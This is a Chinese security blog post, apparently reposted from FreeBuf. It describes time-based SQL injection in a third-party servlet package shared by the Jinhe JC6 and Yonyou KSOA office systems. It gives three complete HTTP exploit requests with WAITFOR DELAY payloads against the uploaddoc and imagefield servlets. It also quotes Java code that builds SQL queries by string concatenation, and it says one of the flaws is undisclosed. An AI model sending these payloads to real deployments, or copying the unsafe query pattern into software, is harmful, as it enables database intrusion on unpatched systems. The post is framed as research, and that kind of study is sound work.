相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

admin 2024年6月21日12:14:53评论41 views字数 2346阅读7分49秒阅读模式

 

原文转载自己在Freebuf上面的投稿,链接:https://www.freebuf.com/vuls/403687.html

一、前言

这段时间在审计和整理金和Jc6历史漏洞

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

当时正在结合源码复现一个金和Jc6系统的SQL注入漏洞

POC已经公开了,如下:

POST /jc6/servlet/uploaddoc HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Content-Length: 50
Cache-Control: max-age=0
Connection: close
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
 
key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:3'--

Jc6是通过Tomcat部署的。分析漏洞源码,方法出自cn.com.fcsoft这一个jar包,命名和金和jc6自身包的jh.jcs命名很不相同

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

漏洞出自方法uploaddoc1()中

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

追踪一下代码

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

可见传参sKeyvalue是直接拼接到SQL语句执行的,漏洞就出在参数sKeyvalue

String sSql = "select filename,extend,attachid,bz,filepos from FC_ATTACH where djbh='" + this.sKeyvalue + "' and djsn='" + this.sKeyvalue1 + "'";
      conn = this.jt.getDataSource().getConnection();
      stat = conn.createStatement();
      rs1 = stat.executeQuery(sSql);

那么举一反三,我还能在同一个jar包的其他servlet方法里面挖到类似的注入:

imagefiled.class中关键代码如下

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

其中imagefiled1()方法中也是同样拼接到SQL语句中导致注入,除了参数不一样思路基本一致

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

String sSql = "select " + this.sImgname + " from " + this.sTablename + " where " + this.sKeyname + "='" + this.sKeyvalue + "'";
      conn = this.jt.getDataSource().getConnection();
      stat = conn.createStatement();
      rs1 = stat.executeQuery(sSql);

利用数据包就如下:

POST /jc6/servlet/imagefield HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Content-Length: 158
Accept: */*
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
SL-CE-SUID: 77

key=readimage&sImgname=1&sTablename=FC_ATTACH&sKeyname=1&sKeyvalue=1';WAITFOR DELAY '0:0:3'--

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

请求后注入延时三秒,验证存在漏洞

经过互联网的一顿搜索,发现这个漏洞并未公开,但是我也找到了有趣的东西,这就引出下面的内容

二、servlet引发的相同漏洞

就在我搜索关键字servlet/imagefield的时候,用友时空KSOA的漏洞进入了视野

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

该漏洞和我发现的金和Jc6 SQL注入,除了请求URL没有/jc6外,传参是百分百相似的

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

也就是说,两个OA系统可能都有相同的servlet方法,或者两者都是基于相同的servlet方法工具包二次开发的

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

为了验证这种猜想,我便用上面的金和Jc6的SQL注入去验证

请求路径去掉/jc6,直接套到用友时空KSOA上,请求如下:

GET /servlet/uploaddoc?key=readimage&sKeyvalue=1';WAITFOR+DELAY+'0:0:3'-- HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

延时注入依旧存在,这个漏洞没有公开过,但是有师傅已经挖到了

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

猜想基本验证成立

我这用金和Jc6的servlet名称去测试用友时空KSOA是否存在对应的方法,发现只有uploaddoc和imagfiled存在

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

既然两个OA都用到了一个第三方包,不排除其他OA也有使用的可能性,因此还有发掘漏洞的潜力可言

三、结语

希望各位师傅也能通过类似的对比方法,挖到更多的其他漏洞

 

原文始发于微信公众号(HackingWiki漏洞感知):相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月21日12:14:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   相同Tomcat servlet引发的漏洞 | 用友时空KSOA & 金和JC6系统https://cn-sec.com/archives/2870107.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息